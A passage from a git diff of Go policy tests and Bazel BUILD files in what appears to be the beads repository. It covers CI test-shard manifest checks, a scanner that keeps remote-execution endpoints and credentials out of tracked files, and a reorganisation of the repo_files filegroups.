strings.Builder + files, err := filepath.Glob(filepath.Join(root, c.pkg, "*_test.go")) + if err != nil || len(files) == 0 { + t.Fatalf("%s: no _test.go files (%v)", c.pkg, err) + } + for _, f := range files { + data, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) + } + src.Write(data) + src.WriteString("\n") + } + declared := map[string]bool{} + for _, d := range regexp.MustCompile(`(?m)^func (Test\w*)\(\w+ \*testing\.T\) \{`).FindAllStringSubmatch(src.String(), -1) { + declared[d[1]] = true + } + + // B1: validate every total this script's committed manifest holds a + // block for, plus this job's own PR Risk matrix size and (for + // test-proxied-cmd) the Bazel lane's own shard_count — not just + // whichever total happens to equal this PR Risk job's matrix. Before + // F2 those always coincided; now the Bazel-only bazel-proxied lane + // reads a manifest block (30) that no PR-Risk-matrix-only check ever + // exercises, so a fork PR (which never runs bazel-proxied) could + // corrupt that block and still merge green. Looping over every + // distinct total in the manifest closes that gap for this script and + // any other script that later grows a second block the same way. + mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) + if mm == nil { + t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) + } + totalsSet := map[int]bool{} + for _, line := range strings.Split(readPolicyFile(t, root, mm[1]), "\n") { + line, _, _ = strings.Cut(line, "#") + fields := strings.Fields(line) + if len(fields) == 0 { + continue + } + if n, err := strconv.Atoi(fields[0]); err == nil { + totalsSet[n] = true + } + } + switch c.script { + case ".github/scripts/proxied-test-shard.sh": + totalsSet[bazelProxiedShardCount(t)] = true + case ".github/scripts/embedded-test-shard.sh": + // F1: the Bazel-only bazel-embedded lane reads a 50-shard cmd + // block that no PR-Risk-matrix-only (20-shard) check exercises; + // without this, "BUILD.bazel's shard_count and bazel.yml's + // check_shard_coverage.py arg both drift to a new total with no + // manifest block" passes every policy test (see review S3) -- + // the lane then silently goes 100% hash fallback and loses its + // duration balancing. + totalsSet[bazelEmbeddedCmdShardCount(t)] = true + case ".github/scripts/embedded-storage-test-shard.sh": + // F1: mirrors the cmd case above for the 15-shard storage block. + totalsSet[bazelEmbeddedStorageShardCount(t)] = true + case ".github/scripts/server-storage-test-shard.sh": + totalsSet[bazelServerFullShardCount(t)] = true + } + totals := make([]int, 0, len(totalsSet)) + for n := range totalsSet { + totals = append(totals, n) + } + sort.Ints(totals) + + for _, shards := range totals { + // The scripts' hash fallback forks per test (seconds per shard + // for the server suite): list the shards concurrently. + outs, errs := make([][]byte, shards+1), make([]error, shards+1) + var wg sync.WaitGroup + for k := 1; k <= shards; k++ { + wg.Add(1) + go func(k int) { + defer wg.Done() + cmd := exec.Command("bash", c.script, strconv.Itoa(k), strconv.Itoa(shards)) + cmd.Dir = root + cmd.Env = append(os.Environ(), "BEADS_TEST_SHARD_LIST_ONLY=1") + outs[k], errs[k] = cmd.Output() + }(k) + } + wg.Wait() + listed, manifestSum := 0, 0 + for k := 1; k <= shards; k++ { + if errs[k] != nil { + // The script itself exits 1 on a duplicate manifest entry + // or a manifest entry that names no discovered test + // (rename/typo/stale-after-delete), for the requested + // total only: this is what catches a corrupted block + // that a PR-Risk-matrix-only check at a different total + // would never see. + t.Fatalf("%s %d %d: %v\n%s", c.script, k, shards, errs[k], outs[k]) + } + for _, line := range strings.Split(string(outs[k]), "\n") { + if mc := regexp.MustCompile(`^ manifest: (\d+), fallback: \d+$`).FindStringSubmatch(line); mc != nil { + n, _ := strconv.Atoi(mc[1]) + manifestSum += n + continue + } + name, ok := strings.CutPrefix(line, " ") + if !ok || !strings.HasPrefix(name, "Test") || strings.ContainsAny(name, " :") { + continue + } + listed++ + isTest := declared[name] + switch { + case notTests[name] && isTest: + t.Errorf("%s shard %d/%d lists %s, which check_shard_coverage.py drops, but it is a real test", c.script, k, shards, name) + case !notTests[name] && !isTest: + t.Errorf("%s shard %d/%d lists %s, which is not a `func %s(t *testing.T)` test in %s: check_shard_coverage.py would report it missing on every run (add it to NOT_TESTS only if go test never runs it)", + c.script, k, shards, name, name, c.pkg) + } + } + } + if listed < 50 { + t.Errorf("%s at %d shards listed only %d tests; did the list-only output format change?", c.script, shards, listed) + } + // S1: a total that is supposed to have a committed manifest + // block (every total this loop considers does: it is either a + // live job's matrix size or a total this script's own manifest + // already names) must not have silently gone 100% hash fallback, + // which is what "the whole block was deleted" looks like from + // here: check_shard_coverage.py would still pass (it rebuilds + // its expectation from this same script), so nothing else + // catches it. + if manifestSum == 0 { + t.Errorf("%s at %d shards: manifest entries for this total sum to 0 across all shards (100%% hash fallback); its committed block in %s may have been deleted", c.script, shards, mm[1]) + } + } + } + for name := range notTests { + if name != "TestMain" { + t.Errorf("NOT_TESTS has %s; only TestMain is never a test", name) + } + } +} + +// S3: the Bazel-only 30-shard block is not frozen like the legacy 15-shard +// block (TestShardScriptsListOnlyRealTests's B1 fix catches outright +// corruption, but not a committed block that has drifted from the currently +// discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, +// renamed, or removed without anyone running --write). gen_proxied_shard_ +// manifest.py --check verifies only that the committed block names every +// discovered test exactly once -- not that its shard *assignments* match a +// fresh LPT pack -- and fails with the exact command to fix it when a name +// is missing, stale, or duplicated. It deliberately does NOT fail merely +// because proxied_test_durations.json's weights changed and the existing +// packing is now suboptimal: two PRs each adding one proxied test would +// otherwise force a full repack and conflict on unrelated shard lines (see +// --repack below for the explicit opt-in to that). Run --check here so a +// block with missing/stale/duplicate names fails go test ./scripts/... +// (//scripts:go_test_sources_test under Bazel) instead of only +// surfacing as a test silently never running in any shard. The legacy +// 15-shard block is deliberately excluded: its header documents that it is +// frozen and must not be regenerated (see +// .github/scripts/proxied-cmd-test-shards.txt and engdocs/TESTING.md), so a +// --check against it would always fail by design. +func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") + cmd.Dir = root + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("gen_proxied_shard_manifest.py 30 --weights=duration --check: %v\n%s", err, out) + } +} diff --git a/scripts/testing_short_tree_test.go b/scripts/testing_short_tree_test.go new file mode 100644 index 000000000..ffac3fb23 --- /dev/null +++ b/scripts/testing_short_tree_test.go @@ -0,0 +1,33 @@ +package scripts_test + +// check-testing-short.sh over the whole Go tree: //scripts:go_sources_test, +// which declares every .go file (test and non-test) and nothing else. The +// script's own fixture tests are in check_testing_short_test.go. + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "testing" +) + +func TestCheckTestingShortPassesOnCleanRepoTree(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("checker is a Bash boundary") + } + repo := sourceRepoRoot(t) + // Under Bazel the tree is //:repo_go_srcs and //:repo_go_test_srcs; a tree + // missing the allowlisted call sites would let the scan pass vacuously. + for _, rel := range []string{"internal/hooks/hooks_test.go", "internal/storage/dolt/concurrent_test.go", "internal/workapi/sweep_test.go"} { + if _, err := os.Stat(filepath.Join(repo, filepath.FromSlash(rel))); err != nil { + t.Fatalf("the scanned tree lacks %s, which holds an allowlisted call: %v", rel, err) + } + } + cmd := exec.Command("bash", filepath.Join(repo, "scripts", "check-testing-short.sh")) + cmd.Dir = repo + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("check-testing-short.sh failed on clean repo tree (all 9 allowlist entries must still be recognized): %v\noutput: %s", err, out) + } +} diff --git a/scripts/tracked_files_test.go b/scripts/tracked_files_test.go new file mode 100644 index 000000000..1fd09c3af --- /dev/null +++ b/scripts/tracked_files_test.go @@ -0,0 +1,295 @@ +package scripts_test + +import ( + "bufio" + "bytes" + "os" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// Scans of every tracked file: //scripts:tracked_files_test, the one target +// here that declares //:repo_files (the whole checkout), so that every other +// target can declare only the partition it reads and stay cached when an +// unrelated file changes. Keep this file to tests that really read every +// tracked file, and keep them cheap: any edit anywhere re-runs them. + +// trackedFilesMin is the fewest files a listing of //:repo_files may hold +// (the checkout has several thousand). +const trackedFilesMin = 1000 + +// --- no remote-execution endpoints in tracked files ------------------------- + +// Remote-execution endpoints, credentials and TLS material belong in a +// gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the +// workspace, never in the repository. The scan covers committed bazelrc-like +// files, Markdown docs and .github/** (plan §3.8) and flags: +// - any remote/BES/TLS flag below whose value is a literal (not a +// , a $VARIABLE/${{ expression }}, empty, or loopback); +// - in rc and .github files, any gRPC URL that is not loopback. Markdown is +// exempt from this rule because beads documents OTel gRPC exporters. +// +// The one exception is publicForkCacheLines. + +var ( + remoteFlagNames = `remote_executor|remote_cache|remote_downloader|remote_header|remote_instance_name|` + + `bes_backend|bes_results_url|bes_header|tls_client_certificate|tls_client_key|tls_certificate` + // `--flag=value` is recognized everywhere; `--flag value` only in rc and + // workflow files, where prose ("--remote_executor and ...") does not occur. + remoteFlagEqRe = regexp.MustCompile(`--(` + remoteFlagNames + `)=("[^"]*"|'[^']*'|[^\s"'` + "`" + `]*)`) + remoteFlagSpaceRe = regexp.MustCompile(`--(` + remoteFlagNames + `)\s+("[^"]*"|'[^']*'|[^\s"'` + "`" + `]+)`) + remoteEndpointRe = regexp.MustCompile(`\bgrpcs?://[^\s"'<>)\]]+`) + loopbackValueRe = regexp.MustCompile(`^(?:[a-z][a-z0-9+.-]*://)?(?:127\.0\.0\.1|localhost|\[::1\])(?:[:/]|$)`) + // remoteScanPrefilter: a file lacking all of these cannot produce a hit. + remoteScanPrefilter = [][]byte{[]byte("--remote_"), []byte("--bes_"), []byte("--tls_"), []byte("grpc")} +) + +// publicForkCacheLines: the endpoint lines of .bazelrc's fork-cache config, +// public by design. rbe-west's rbe-cache endpoint is anonymous and read-only +// (action-cache and CAS reads; writes and Execute are refused by the farm), +// so there is no credential to leak. Exactly these lines, trimmed, and only +// in .bazelrc; the same line anywhere else, or any other endpoint, is still a +// hit. Assembled so this file never contains a literal endpoint. +var publicForkCacheLines = map[string]bool{ + "build:fork-cache --remote_cache=" + forkCacheEndpoint: true, + "build:fork-cache --remote_instance_name=" + forkCacheInstance: true, +} + +// publicRBEForkPin: setup-bazel's fork-credential.sh pins the one endpoint +// rbe-fork-mint may hand a fork run (rbe-fork, :8444), so a compromised +// mint cannot point fork builds elsewhere. It is public and carries no +// credential: allowed as exactly this line, in exactly that file (a byte +// copy of gascity's tools/rbe/fork-credential.sh). +const ( + publicRBEForkPinFile = ".github/actions/setup-bazel/fork-credential.sh" + publicRBEForkPinLine = `ENDPOINT_RE=${RBE_FORK_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-fork\.ops\.gascity\.com:8444$'}` +) + +type endpointHit struct { + path string + line int + what string +} + +// remoteScanKind classifies a tracked path for the endpoint scan. +func remoteScanKind(rel string) (scan, strict bool) { + base := filepath.Base(rel) + switch { + case strings.Contains(base, "bazelrc"), strings.HasPrefix(rel, ".github/"): + return true, true + case strings.HasSuffix(base, ".md"): + return true, false + } + return false, false +} + +func allowedRemoteValue(v string) bool { + v = strings.Trim(v, `"'`) + if i := strings.Index(v, "://"); i >= 0 { + v = v[i+len("://"):] + } + return v == "" || strings.HasPrefix(v, "<") || strings.HasPrefix(v, "$") || loopbackValueRe.MatchString(v) +} + +// findRemoteEndpoints reports literal remote endpoints/credentials in content. +// strict enables the whitespace-separated flag form and the gRPC URL rule. +func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit { + if bytes.IndexByte(content, 0) >= 0 { // binary + return nil + } + relevant := false + for _, needle := range remoteScanPrefilter { + if bytes.Contains(content, needle) { + relevant = true + break + } + } + if !relevant { + return nil + } + flagRes := []*regexp.Regexp{remoteFlagEqRe} + if strict { + flagRes = append(flagRes, remoteFlagSpaceRe) + } + var hits []endpointHit + scanner := bufio.NewScanner(bytes.NewReader(content)) + scanner.Buffer(make([]byte, 0, 64*1024), 16*1024*1024) + for n := 1; scanner.Scan(); n++ { + line := scanner.Text() + if path == ".bazelrc" && publicForkCacheLines[strings.TrimSpace(line)] { + continue + } + if path == publicRBEForkPinFile && line == publicRBEForkPinLine { + continue + } + for _, re := range flagRes { + for _, m := range re.FindAllStringSubmatch(line, -1) { + if !allowedRemoteValue(m[2]) { + hits = append(hits, endpointHit{path: path, line: n, what: m[0]}) + } + } + } + if strict { + for _, url := range remoteEndpointRe.FindAllString(line, -1) { + if !allowedRemoteValue(url) { + hits = append(hits, endpointHit{path: path, line: n, what: url}) + } + } + } + } + return hits +} + +func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { + // Fixtures are assembled at runtime so this file never contains a literal + // endpoint itself. + scheme := "grpc" + "s://" + flag := func(name string) string { return "--" + name } + for _, bad := range []string{ + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe.example.com:443\n", + "build:remote-exec " + flag("remote_executor") + "=rbe.example.com:443\n", + "build:remote-exec " + flag("remote_executor") + " rbe.example.com:443\n", + "build " + flag("remote_cache") + "=https://cache.example.com\n", + "build " + flag("bes_backend") + "=bes.example.com\n", + "build " + flag("bes_results_url") + "=https://results.example.com/inv/\n", + "build " + flag("remote_header") + "=x-api-key=abc123\n", + "build " + flag("tls_client_certificate") + "=/etc/rbe/client.crt\n", + "build " + flag("tls_client_key") + "=\"/etc/rbe/client.key\"\n", + "# farm: " + scheme + "10.0.0.5:8980\n", + "REMOTE=" + "grpc" + "://cache.internal:9092\n", + } { + if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { + t.Errorf("endpoint fixture not detected: %q", bad) + } + } + for _, ok := range []string{ + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "\n", + "build:remote-exec " + flag("remote_executor") + "=\n", + "build:remote-exec " + flag("tls_client_certificate") + "=\n", + " run: echo \"build " + flag("remote_executor") + "=${{ secrets.BAZEL_REMOTE_EXECUTOR }}\" >> \"$RUNNER_TEMP/ci.bazelrc\"\n", + " " + flag("tls_client_key") + " \"$RUNNER_TEMP/rbe.key\"\n", + " " + flag("remote_executor") + "=" + scheme + "${{ secrets.RBE_HOST }}\n", + flag("remote_cache") + "=" + "grpc" + "://127.0.0.1:50052\n", + flag("remote_cache") + "=localhost:9092\n", + flag("remote_cache") + "=\n", + "build " + flag("remote_timeout") + "=600\n", + "use grpc for transport\n", + } { + if hits := findRemoteEndpoints(".bazelrc", []byte(ok), true); len(hits) != 0 { + t.Errorf("allowed fixture flagged: %q -> %v", ok, hits) + } + } + // The fork cache's public endpoint: exactly its two .bazelrc lines. + forkCache := "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n" + + " build:fork-cache " + flag("remote_instance_name") + "=oss \n" + if hits := findRemoteEndpoints(".bazelrc", []byte(forkCache), true); len(hits) != 0 { + t.Errorf("fork-cache endpoint lines flagged in .bazelrc: %v", hits) + } + for _, path := range []string{"tools/ci.bazelrc", ".bazelrc.local", "user.bazelrc", ".github/workflows/x.yml", ".github/actions/setup-bazel/x.sh"} { + if hits := findRemoteEndpoints(path, []byte(forkCache), true); len(hits) < 2 { + t.Errorf("fork-cache endpoint lines in %s: hits %v, want both lines flagged (allowlisted in .bazelrc only)", path, hits) + } + } + for _, bad := range []string{ + "build:fork-cache " + flag("remote_cache") + "=" + scheme + "other.example:8443\n", + "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "/x\n", + "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + " " + flag("remote_header") + "=x-api-key=abc\n", + "build " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n", + "build:remote-exec " + flag("remote_executor") + "=" + forkCacheEndpoint + "\n", + "build:fork-cache " + flag("remote_instance_name") + "=beads\n", + "# see " + forkCacheEndpoint + "\n", + } { + if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { + t.Errorf("non-allowlisted fork-cache variant not detected in .bazelrc: %q", bad) + } + } + // rbe-fork's endpoint pin: that line in that file only; anything else + // naming the endpoint, there or elsewhere, is flagged. + if hits := findRemoteEndpoints(publicRBEForkPinFile, []byte("set -eu\n"+publicRBEForkPinLine+"\n"), true); len(hits) != 0 { + t.Errorf("rbe-fork endpoint pin flagged in %s: %v", publicRBEForkPinFile, hits) + } + for _, path := range []string{".github/actions/setup-bazel/write-bazelrc.sh", ".github/workflows/bazel.yml", ".bazelrc", "tools/rbe/fork-credential.sh"} { + if len(findRemoteEndpoints(path, []byte(publicRBEForkPinLine+"\n"), true)) == 0 { + t.Errorf("rbe-fork endpoint pin not flagged in %s (allowlisted in %s only)", path, publicRBEForkPinFile) + } + } + for _, bad := range []string{ + " " + publicRBEForkPinLine, + strings.Replace(publicRBEForkPinLine, "8444", "443", 1), + `ENDPOINT=` + "grpc" + `s://rbe-fork.ops.gascity.com:8444`, + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe-fork.ops.gascity.com:8444", + } { + if len(findRemoteEndpoints(publicRBEForkPinFile, []byte(bad+"\n"), true)) == 0 { + t.Errorf("non-allowlisted rbe-fork line not detected in %s: %q", publicRBEForkPinFile, bad) + } + } + // Markdown: OTel gRPC exporter URLs and prose mentioning the flag are fine; + // a literal flag value is not. + for _, ok := range []string{ + "Set OTEL_EXPORTER_OTLP_ENDPOINT=" + "grpc" + "://collector:4317\n", + "Pass " + flag("remote_executor") + " and TLS flags from user.bazelrc.\n", + } { + if hits := findRemoteEndpoints("docs/x.md", []byte(ok), false); len(hits) != 0 { + t.Errorf("allowed Markdown fixture flagged: %q -> %v", ok, hits) + } + } + if len(findRemoteEndpoints("docs/x.md", []byte("bazel build "+flag("remote_executor")+"=rbe.example.com:443 //...\n"), false)) == 0 { + t.Error("literal remote_executor in Markdown not detected") + } + for rel, want := range map[string][2]bool{ + ".bazelrc": {true, true}, + "tools/ci.bazelrc": {true, true}, + ".bazelrc.local": {true, true}, + ".github/workflows/x.yml": {true, true}, + "docs/BAZEL.md": {true, false}, + "issues.jsonl": {false, false}, + "internal/telemetry/x.go": {false, false}, + } { + if scan, strict := remoteScanKind(rel); scan != want[0] || strict != want[1] { + t.Errorf("remoteScanKind(%q) = %v,%v, want %v,%v", rel, scan, strict, want[0], want[1]) + } + } + + root := bazelPolicyRoot(t) + var hits []endpointHit + for _, rel := range repoFiles(t, root, trackedFilesMin) { + scan, strict := remoteScanKind(rel) + if !scan { + continue + } + content, err := os.ReadFile(filepath.Join(root, rel)) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + hits = append(hits, findRemoteEndpoints(rel, content, strict)...) + } + for _, h := range hits { + t.Errorf("%s:%d: remote endpoint or credential %q in a tracked file; it belongs in a gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the workspace", h.path, h.line, h.what) + } +} + +// TestNoLocalPlanPathsInTrackedFiles: tracked files must not point readers +// at a maintainer's private, out-of-repo planning notes (a home-directory +// planning-notes tree), which no other contributor can open. Cite an +// in-repo doc, a bead, or a PR instead. The needle is assembled at runtime so +// this file does not match itself. +func TestNoLocalPlanPathsInTrackedFiles(t *testing.T) { + root := bazelPolicyRoot(t) + needle := []byte("beads-" + "bazel-plan") + for _, rel := range repoFiles(t, root, trackedFilesMin) { + content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + if bytes.IndexByte(content, 0) >= 0 { + continue // binary, as git grep -I + } + for n, line := range bytes.Split(content, []byte("\n")) { + if bytes.Contains(line, needle) { + t.Errorf("%s:%d: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", rel, n+1, needle) + } + } + } +} diff --git a/scripts/workflowtags/BUILD.bazel b/scripts/workflowtags/BUILD.bazel index f5ff5af79..2a50a5d03 100644 --- a/scripts/workflowtags/BUILD.bazel +++ b/scripts/workflowtags/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/test/conformance/BUILD.bazel b/test/conformance/BUILD.bazel index 4758a9c00..6ddf3ddda 100644 --- a/test/conformance/BUILD.bazel +++ b/test/conformance/BUILD.bazel @@ -32,12 +32,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -46,7 +85,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/test/docsync/BUILD.bazel b/test/docsync/BUILD.bazel index dcf713b95..ea3a13d85 100644 --- a/test/docsync/BUILD.bazel +++ b/test/docsync/BUILD.bazel @@ -8,21 +8,81 @@ go_test( "doltpin_test.go", "init_safety_recovery_test.go", ], - # The checkout as Bazel sees it: the docs trees, every link target, and - # every AGENTS.md and test file the agent-instruction checks resolve. - data = ["//:repo_files"], + # Every Markdown file (the docs trees, the root docs, every AGENTS.md), + # every Go test file (the guard-test names the agent instructions cite), + # docs.json, and the other files the docs link to by path. Not the + # checkout: a Go-only or workflow-only change leaves this cached. A link to + # a file outside these fails under Bazel; declare the file here. + data = [ + "//:.github/workflows/bazel.yml", + "//:.golangci.yml", + "//:beads.go", + "//:docs/docs.json", + "//:repo_doc_files", + "//:repo_go_test_srcs", + "//cmd/bd:capability_registry.go", + "//cmd/bd:doctor.go", + "//cmd/bd:init_safety_help.go", + "//cmd/bd:label.go", + "//cmd/bd:main.go", + "//cmd/bd:state.go", + "//internal/testutil:testdoltcommon.go", + "//scripts:bump-version.sh", + "//scripts:check-cli-docs-drift.sh", + "//scripts:generate-cli-docs.sh", + "//scripts:test.sh", + ], deps = ["//internal/testutil/bazeltest"], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +91,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/test/docsync/agentfiles_test.go b/test/docsync/agentfiles_test.go index 6547dc137..b83286b25 100644 --- a/test/docsync/agentfiles_test.go +++ b/test/docsync/agentfiles_test.go @@ -82,9 +82,10 @@ func contributorAgentFiles(t *testing.T, root string) []string { // CLAUDE.md`: Claude Code skips AGENTS.md files when a CLAUDE.md exists above // them), every nested one is listed in the root routing table, and every // local link, backticked repo path, and backticked guard-test name in them -// resolves. Make targets are not checked. Under Bazel the checkout is -// //:repo_files, where a source symlink arrives as its target's content, so -// CLAUDE.md is checked by content: a copy that drifts from AGENTS.md fails. +// resolves. Make targets are not checked. Under Bazel the tree is the test's +// data (every Markdown file among it), where a source symlink arrives as its +// target's content, so CLAUDE.md is checked by content: a copy that drifts +// from AGENTS.md fails. func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { root := repoRoot() agentFiles := contributorAgentFiles(t, root) @@ -167,7 +168,7 @@ func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { } if len(broken) > 0 { sort.Strings(broken) - t.Errorf("agent instruction files reference paths that do not exist (%d):", len(broken)) + t.Errorf("agent instruction files reference paths that do not exist (%d)%s:", len(broken), declaredDataHint()) for _, b := range broken { t.Errorf(" %s", b) } diff --git a/test/docsync/docsync_test.go b/test/docsync/docsync_test.go index df734e1f9..ad81edf1b 100644 --- a/test/docsync/docsync_test.go +++ b/test/docsync/docsync_test.go @@ -31,6 +31,15 @@ func repoRoot() string { return filepath.Join(filepath.Dir(filename), "..", "..") } +// declaredDataHint is appended to a broken-path report under Bazel, where the +// test sees only the files test/docsync/BUILD.bazel declares. +func declaredDataHint() string { + if !bazeltest.IsBazel() { + return "" + } + return " (under Bazel only declared files exist: if a path below is in the checkout, add it to docsync_test's data in test/docsync/BUILD.bazel)" +} + var markdownLinkRE = regexp.MustCompile(`\[[^][]*\]\(([^)]+)\)`) // docsPublishExemptions lists markdown files under docs/ that are allowed to @@ -334,7 +343,7 @@ func TestDocsSiteLinks(t *testing.T) { if len(broken) > 0 { sort.Strings(broken) - t.Errorf("broken or misconvention links in docs/ (%d):", len(broken)) + t.Errorf("broken or misconvention links in docs/ (%d)%s:", len(broken), declaredDataHint()) for _, b := range broken { t.Errorf(" %s", b) } @@ -386,7 +395,7 @@ func TestEngdocsAndRootMarkdownLinks(t *testing.T) { if len(broken) > 0 { sort.Strings(broken) - t.Errorf("broken local markdown links (%d) — engdocs/ and root files are GitHub-viewed and need exact paths:", len(broken)) + t.Errorf("broken local markdown links (%d) — engdocs/ and root files are GitHub-viewed and need exact paths%s:", len(broken), declaredDataHint()) for _, b := range broken { t.Errorf(" %s", b) } diff --git a/test/testmainconvention/BUILD.bazel b/test/testmainconvention/BUILD.bazel index cdb841788..b7d3537b9 100644 --- a/test/testmainconvention/BUILD.bazel +++ b/test/testmainconvention/BUILD.bazel @@ -8,12 +8,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -22,7 +61,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/hook_timeout_backends/BUILD.bazel b/tests/hook_timeout_backends/BUILD.bazel index aef412762..ec9fa9945 100644 --- a/tests/hook_timeout_backends/BUILD.bazel +++ b/tests/hook_timeout_backends/BUILD.bazel @@ -40,12 +40,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -54,7 +93,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/migration/BUILD.bazel b/tests/migration/BUILD.bazel index 4d5bf1f21..36a2ffb5d 100644 --- a/tests/migration/BUILD.bazel +++ 